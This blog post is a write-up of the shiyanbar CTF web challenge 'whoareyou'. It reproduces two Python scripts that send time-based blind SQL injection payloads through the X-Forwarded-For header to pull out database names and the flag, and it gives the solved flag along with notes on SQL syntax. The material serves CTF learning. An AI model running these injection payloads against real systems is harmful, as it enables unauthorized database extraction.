首页 » NetworkSec » CTF » 正文

实验吧ctf->web.whoareyou writeup

www.shiyanbar.com/ctf/1941
我要把攻击我的人都记录db中去!
 
一看题目,初步的想法就是记录访问ip到数据库,再打印返回。
明显就是有注入了。
接着就没思路了,看看高手们的writeup,额,时间盲注,没怎么玩过,真尴尬……
由于是记录ip,所以想到请求头中和ip有关的字段如下:
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
这里用Client-IP不行,接着尝试X-Forwarded-For成功伪造ip,关于X-Forwarded-For字段可以参考简谈X-Forwarded-For的一些事
还有如果有逗号则只保留逗号前面的内容,估计是取client。不影响盲注。
参考网上的脚本(来源:blog.csdn.net/qq_35078631/article/details/54773769):

# -*- coding:utf-8 -*-  
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
for database_number in range(0,100):        #假设爆破前100个库
    databasename=''
    for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
        flag=0
        for str in guess:                   #爆破该位置的字符
            #print 'trying ',str
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                databasename+=str
                flag=1
                print '正在爆破第%d个数据库名,the databasename now is '%(database_number+1) ,databasename
                break
        if flag==0:
            break
    database.append(databasename)
    if i==1 and flag==0:
        print '扫描完成'
        break
for i in range(len(database)):
    print database[i]


稍微解释下sql语句的几个部分:
SUBSTRING(str FROM pos FOR len):
从第pos个字符开始到len长的字符。
 
Case when then else end
–简单Case函数CASE sex
WHEN ‘1’ THEN ‘男’
WHEN ‘2’ THEN ‘女’
ELSE ‘其他’ END
–Case搜索函数
CASE WHEN sex = ‘1’ THEN ‘男’
WHEN sex = ‘2’ THEN ‘女’
ELSE ‘其他’ END
 
limit offset连用
① select * from table limit 2,1;
//含义是跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据
② select * from table limit 2 offset 1;
//含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条
 
同理根据位置查询出表名flag,列名flag(直接猜也行)。
最后查询flag内容(脚本来源:http://blog.csdn.net/qq_35078631/article/details/54773769

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,100):
    havetry=0
    for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
        try:
            res=requests.get(url,headers=headers,timeout=6)
        except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
            break
    if havetry==0:
        break
print 'result:' + flag


用ctf{cdbf14c9551d5be5612f7bb5d2867853}提交就可以通过了。
也可以用burpsuite或者sqlmap写tamper,参考www.jianshu.com/p/5d34b3722128
 

Comment

please input captcha *